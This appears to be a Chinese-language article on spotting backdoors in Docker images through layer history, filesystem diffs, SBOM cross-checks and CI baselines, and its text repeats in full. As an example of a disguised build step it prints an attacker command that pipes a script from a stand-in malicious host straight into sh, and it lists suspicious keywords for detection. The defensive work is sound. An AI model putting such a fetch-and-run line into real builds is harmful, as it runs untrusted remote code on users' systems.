如何利用Docker镜像层差异分析技术检测恶意植入的后门程序?
- 内容介绍
- 文章标签
- 相关推荐
本文共计895个文字,预计阅读时间需要4分钟。
通过图像层次对比识别异常,核心是发现异常层次的变化——不是看有没有文件,而是看哪一层、用什么指令、加了什么不该有的东西。关键在于对比构建逻辑与实际内容是否一致。
用 docker history 定位可疑构建层
每条 RUN、COPY、ADD 指令都会生成一个只读层。攻击者常在看似正常的构建步骤中混入恶意操作,比如:
-
伪装成依赖安装:如
/bin/sh -c 'apt-get update && apt-get install -y curl && curl -s http://mal.site/x.sh | sh' - 混淆命令格式:用反斜杠换行、base64编码、变量拼接等方式隐藏真实意图
- 在 COPY 后追加脚本:比如先复制应用代码,再用 RUN echo 写入 Webshell 到 web 目录
执行 docker history --no-trunc <image>,重点检查:
– 层大小异常(如某层仅几 KB 却执行了网络请求)
– CREATED BY 字段含可疑命令(curl、wget、sh -c、base64、/tmp/、/dev/shm/ 等路径)
– 缺少对应 Dockerfile 指令说明(即“这层是谁加的?为什么没记录?”)
比对镜像层文件系统差异
单看 history 不够,需深入层内文件变化。可导出各层并做 diff:
- 用
docker save <image> | tar -t查看整体结构 - 用
docker image inspect <image>获取RootFS.Layers哈希列表 - 逐层解包(如用
gunzip -c layer.tar.gz | tar -x),比对前后层新增/修改的二进制或脚本文件 - 特别关注:
/usr/bin/下非标准可执行文件、/var/www/或/app/中的 .php/.jsp/.class 文件、/tmp/下的隐藏 shell
结合 SBOM 与漏洞上下文交叉验证
后门往往依附于已知漏洞组件(如 Log4j、Spring4Shell 触发点)。生成软件物料清单(SBOM)能暴露“谁被装进了哪一层”:
- 用
docker scout sbom <image>或syft <image>输出所有依赖及版本 - 将 SBOM 中的组件路径(如
/app/lib/log4j-core-2.14.1.jar)与docker history输出的层哈希对齐 - 若某高危组件出现在一个无明确来源说明的层里(例如没在 Dockerfile 中声明下载该 jar),就要怀疑是否被注入
自动化比对建议:建立可信基线
不要每次人工翻 history。推荐做法:
- 对每个基础镜像(如
python:3.11-slim)保存其标准 history 和 SBOM 作为基线 - 构建自定义镜像时,在 CI 中自动运行:
trivy image --scanners vuln,config <image>+docker scout cves <image> - 用脚本提取每层指令和大小,与历史构建记录比对——若某次构建多出一个 12KB 的 RUN 层且含
wget,立即告警
真正有效的后门识别,不靠猜,而靠“预期 vs 实际”的逐层对账。越早把构建过程标准化、可审计、可回溯,越难让恶意代码藏进层里。
本文共计895个文字,预计阅读时间需要4分钟。
通过图像层次对比识别异常,核心是发现异常层次的变化——不是看有没有文件,而是看哪一层、用什么指令、加了什么不该有的东西。关键在于对比构建逻辑与实际内容是否一致。
用 docker history 定位可疑构建层
每条 RUN、COPY、ADD 指令都会生成一个只读层。攻击者常在看似正常的构建步骤中混入恶意操作,比如:
-
伪装成依赖安装:如
/bin/sh -c 'apt-get update && apt-get install -y curl && curl -s http://mal.site/x.sh | sh' - 混淆命令格式:用反斜杠换行、base64编码、变量拼接等方式隐藏真实意图
- 在 COPY 后追加脚本:比如先复制应用代码,再用 RUN echo 写入 Webshell 到 web 目录
执行 docker history --no-trunc <image>,重点检查:
– 层大小异常(如某层仅几 KB 却执行了网络请求)
– CREATED BY 字段含可疑命令(curl、wget、sh -c、base64、/tmp/、/dev/shm/ 等路径)
– 缺少对应 Dockerfile 指令说明(即“这层是谁加的?为什么没记录?”)
比对镜像层文件系统差异
单看 history 不够,需深入层内文件变化。可导出各层并做 diff:
- 用
docker save <image> | tar -t查看整体结构 - 用
docker image inspect <image>获取RootFS.Layers哈希列表 - 逐层解包(如用
gunzip -c layer.tar.gz | tar -x),比对前后层新增/修改的二进制或脚本文件 - 特别关注:
/usr/bin/下非标准可执行文件、/var/www/或/app/中的 .php/.jsp/.class 文件、/tmp/下的隐藏 shell
结合 SBOM 与漏洞上下文交叉验证
后门往往依附于已知漏洞组件(如 Log4j、Spring4Shell 触发点)。生成软件物料清单(SBOM)能暴露“谁被装进了哪一层”:
- 用
docker scout sbom <image>或syft <image>输出所有依赖及版本 - 将 SBOM 中的组件路径(如
/app/lib/log4j-core-2.14.1.jar)与docker history输出的层哈希对齐 - 若某高危组件出现在一个无明确来源说明的层里(例如没在 Dockerfile 中声明下载该 jar),就要怀疑是否被注入
自动化比对建议:建立可信基线
不要每次人工翻 history。推荐做法:
- 对每个基础镜像(如
python:3.11-slim)保存其标准 history 和 SBOM 作为基线 - 构建自定义镜像时,在 CI 中自动运行:
trivy image --scanners vuln,config <image>+docker scout cves <image> - 用脚本提取每层指令和大小,与历史构建记录比对——若某次构建多出一个 12KB 的 RUN 层且含
wget,立即告警
真正有效的后门识别,不靠猜,而靠“预期 vs 实际”的逐层对账。越早把构建过程标准化、可审计、可回溯,越难让恶意代码藏进层里。

